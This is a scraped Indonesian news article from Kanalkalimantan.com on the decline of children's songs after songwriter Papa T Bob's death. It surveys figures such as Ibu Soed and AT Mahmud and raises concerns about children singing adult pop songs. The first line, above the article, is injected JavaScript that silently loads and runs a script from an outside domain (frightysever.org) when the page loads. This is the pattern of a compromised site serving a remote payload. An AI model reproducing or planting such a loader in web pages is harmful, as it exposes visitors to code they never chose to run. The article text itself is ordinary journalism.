(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Senjakala Lagu Anak-Anak, Hilangnya ‘Imajinasi’ tentang Alam dan Harapan


KANALKALIMANTAN.COM, BANJARBARU – Meninggalnya Papa T Bob pada Jumat (10/7/2020) pagi tadi membuat dunia masik tanah air berduka. Khususnya, bagi musik dan lagu anak-anak. Pencipta lagu yang populer pada tahun 1990-an ini meninggalkan banyak karya yang dikenal oleh generasi ketika itu.

Perginya Papa T Bob, seakan sebuah pertanda habisnya era musik anak-anak. Walhasil, kini khazanah lagu-lagu tersebut hanya ‘tersisa’ pada memori orang-orang tua. Mereka yang sempat mencicipi kemewahan akan indahnya imajinasi alam pedesaan, keindahan gunung, nyanyian burung-burung, yang kini tergantikan oleh lagu-lagu dewasa yang memiliki benturan psikologis dengan jiwa kanak-kanak.

Lagu-lagu karya maestro seperti AT Mahmud, Ibu Sud, Pak Kasur hingga Papa T Bob pada generasi terakhir (meski liriknya sudah mulai kontemporer), sudah nyaris tak terdengar lagi. Berganti dengan lagu-lagu cinta milik band terkenal yang dengan fasih dinyanyikan anak-anak yang duduk di sekolah dasar.

Hilangnya lagu anak di Indonesia berawal dari berkembangnya industri televisi yang cenderung lebih banyak menayangkan lagu-lagu dewasa. Sehingga anak-anak yang menyaksikannya juga secara sadar dan tidak sadar menghapal dan menyanyikan lagu-lagu tersebut.

 

“Sekarang jarang ditemui anak-anak yang menyanyikan lagu-lagu anak seperti karangan AT Mahmmud, Ibu Soed, Pak Kasur,” kata Deviana, pengamat musik dari Institut Musik Daya Indonesia.

Meski saat ini para pencipta lagu anak-anak tidaklah sepenuhnya hilang, namun karya-karya yang dihasilkan kurang mendapat respons dari masyarakat. “Lagu anak-anak itu punya kotak tertentu dan musik yang gampang dicerna dengan lirik berisi tentang pendidikan,” ujarnya dalam sebuah wawancara dengan cnnindonesia.

Padahal secara psikologis, menurut Deviana, anak-anak yang menyanyikan lagu dewasa cenderung tidak peka terhadap keadaan lingkungannya. Termasuk bagai cara untuk berbagi bersama teman dan menyayangi alam.

Lagu anak-anak sebenarnya sudah beredar di Indonesia sejak 1950-an. Tepatnya saat salah satu pahlawan lagu anak Indonesia, Saridjah Niung atau yang lebih dikenal sebagai Ibu Soed aktif menciptakan lagu anak.

Di era ’60-an, lagu anak makin bersemi, terlebih ketika Abdullah Totong (A.T. Mahmud) ditunjuk menjadi koordinator acara Ayo Menyanyi yang digagas TVRI. Jumlah lagu anak semakin bertambah seiring berkembangnya waktu hingga awal 2000-an, dengan keberadaan para artis cilik yang beberapa di antaranya masih aktif hingga kini, seperti Joshua Suherman, Tasya Kamila dan Chikita Meidy.

Pada tahun 1950-an, Ibu Soed sudah mulai banyak menciptakan lagu anak-anak. Ia diperkirakan telah menciptakan lebih dari 200 lagu, meski hanya setengahnya saja yang bisa terselamatkan dan bertahan sampai sekarang. Bersamaan dengan era pascakemerdekaan, setiap lagu Ibu Soed selalu memuat semangat patriotisme tinggi, misalnya Berkibarlah Benderaku, Bendera Merah Putih, Tanah Airku, dan lain sebagainya.

Penyanyi cilik Raina Gumay yang mencoba eksis di lagu anak lewat singlenya berjudul Pelangiku. Foto: Aquarius Musikindo for Kanalkalimantan

Namun, ada pula yang bertema kehidupan orang Indonesia di masa itu atau hal sederhana lainnya, seperti Nenek Moyangku, Anak Kuat, Tik Tik Bunyi Hujan, Naik-Naik ke Puncak Gunung, Kupu-Kupu yang Lucu, dan masih banyak lagi. Lagu-lagu ciptaan Ibu Soed masih dikenang dan dinyanyikan anak-anak yang tumbuh pada beberapa dekade berikutnya.

Lalu pada tahun 1960-an, munculah AT Mahmud yang lagu-lagu karangannya seperti Pelangi dan Ambilkan Bulan yang masih kerap disenandungkan dan diajarkan ke anak-anak hingga kini. A.T. Mahmud makin berjasa membuat lagu anak-anak di dekade ’60-an bersemi saat ia didapuk sebagai koordinator acara Ayo Menyanyi yang digagas TVRI dan mengudara pertama kali pada 3 Juni 1968.

Pada tahun 1970-an, para penyanyi cilik mulai menunjukkan sinarnya. Mulai dari Chicha Koeswoyo, Adi Bing Slamet, Dina Mariana, Diana Papilaya, Yoan Tanamal, dan rekan-rekan mereka. Penjualan album Chicha, misalnya, bisa bersaing dengan rekaman bertema cinta para penyanyi dewasa masa itu. Lagu Helly yang dirilis Chicha lewat album debutnya pada 1975 pun meledak di pasaran.

Rekan duet Chicha, Adi Bing Slamet juga bisa meraih sukses sebagai penyanyi cilik. Salah satu karya hitnya adalah Mak Inem Tukang Latah yang menjadi lagu tema film Anak Emas.

Di 1970-an, muncul pula acara anak-anak Taman Indria yang dipandu oleh dua tokoh pendidikan sekaligus pencipta lagu anak-anak, Pak Kasur dan Ibu Kasur. Dalam acara ini, anak-anak memamerkan bakatnya di studio TVRI.

Sepanjang dekade 70-an dan 80-an, lirik-lirik lagu anak-anak masih didominasi tema keluarga, tamasya, binatang yang sering dijumpai, penjual makanan yang sering lewat di depan rumah, dan hal sederhana lainnya. Musik yang mengiringi pun kebanyakan rancak dan bersemangat, sehingga pas didengarkan oleh anak-anak.

Pada 1990-an, Dengan mulai masuknya teknologi, lagu anak-anak mulai berkembang menjadi lebih kreatif dan berwarna, baik dari segi tema maupun video musik. Meski tema makin kaya dan musik lebih kompleks, para pencipta lagu di masa ini masih membuat karya yang liriknya tetap sederhana, mudah diingat, dan memuat nasihat.

Kondisi sosial Indonesia di masa pembangunan itu juga menjadi inspirasi untuk membuat lagu anak, misalnya lagu Krismon (Krisis Moneter) milik Cindy Cenora dan Menabung yang dinyanyikan oleh Saskia dan Geofanny bersama Titiek Puspa. Selain yang disebutkan di atas, penyanyi cilik lain yang populer di era ini antara lain Sherina, Tasya Kamila, Tina Toon, Chikita Meidy, Maissy Pramaisshela, Dea Ananda, Leony, dan masih banyak lagi.

Meski demikian, dunia lagu anak mengenal lima masteronya. Mereka adalah Ibu Soed, Pak Kasur, Ibu Kasur, AT Mahmud, hingga Papa T Bob sebagai tokoh pencipta lagu yang mewakili era lebih kontemporer. (Selengkapnya lihat grafis, red).

Grafis: Kanalkalimantan/Yuda

Saat Anak Menyanyi Lagu Dewasa

Dunia musik Tanah Air kini memang sedang krisis lagu untuk anak-anak Indonesia. Kegelisahaan ini sempat dilontarkan oleh penyanyi Anji, yang juga saat ini menjadi youtuber yang sempat diungguh di akun miliknya.

Anji sempat membahas mengenai berbagai ajang pencarian bakat bernyanyi untuk anak-anak, yang masih memperbolehkan pesertanya menyanyikan lagu untuk orang dewasa. Sebut saja ajang ‘Indonesian Idol Junior’ dan ‘The Voice Kids Indonesia.’

Mantan vokalis Drive ini setuju bahwa anak-anak bisa meningkatkan kecerdasan kognitifnya melalui bernyanyi dan memahami lirik lagu. Namun sebagai orangtua, Anji merasa miris melihat anak-anak yang menyanyikan lagu-lagu yang tidak sesuai untuk usia mereka.

Dilansir Tirto.id, Ardinal, mahasiswa Universitas Negeri Padang dalam tulisannya mengenai analisis struktur musik dan lagu anak-anak Indonesia menyebutkan bahwa menghilangnya lagu anak-anak di masyarakat Indonesia disebabkan ekspansi seni komersial. Seni komersial yang melekat pada industri lagu-lagu orang dewasa dinilai lebih mempunyai nilai jual dan permintaan yang tinggi.

Penelitian tersebut juga menjelaskan bahwa pola ritmis, melodis, interval, tempo, hingga range nada pada lagu pop orang dewasa yang diambil sebagai sampel penelitian, belum layak dinyanyikan oleh anak-anak. Membiarkan anak-anak menyanyikan lagu dewasa bukanlah hal bijak dan berisiko. Mereka bisa mengalami cedera pita suara, juga kram otot rahang.

Anak-anak dan musik sejatinya adalah dua hal yang tak terpisahkan. Sejak dalam kandungan, janin bahkan telah mendengarkan musik yang dimainkan di sekitar ibunya berada. Lagu tidak dapat dipisahkan dari kegiatan pembelajaran pada anak. Anak-anak bermain dengan lagu, bahkan mereka belajar dengan lagu sebagai medium.

Fathur Rasyid dalam buku Cerdaskan Anakmu dengan Musik menjelaskan bahwa lagu anak seharusnya memegang beberapa fungsi pembelajaran. Beberapa di antaranya terjadi melalui bahasa emosi, bahasa nada, dan bahasa gerak. Melalui bahasa emosi, bernyanyi membuat seorang anak dapat mengungkapkan perasaannya: senang, sedih, lucu, kagum, dan sebagainya.

Lagu-lagu anak juga idealnya punya misi pendidikan dalam liriknya. Syair dan kalimatnya jangan terlalu panjang agar mudah dihafal dan sesuai dengan karakter serta dunia anak. Lagu anak seharusnya juga dapat membantu pertumbuhan dan perkembangan diri anak, baik aspek fisik, emosi, kecerdasan, maupun aspek sosial. (Kanalkalimantan.com/cel/berbagai sumber)

 

Reporter : Cell
Editor : KK

Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

4 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

6 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

9 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

12 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

12 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

13 jam ago

This website uses cookies.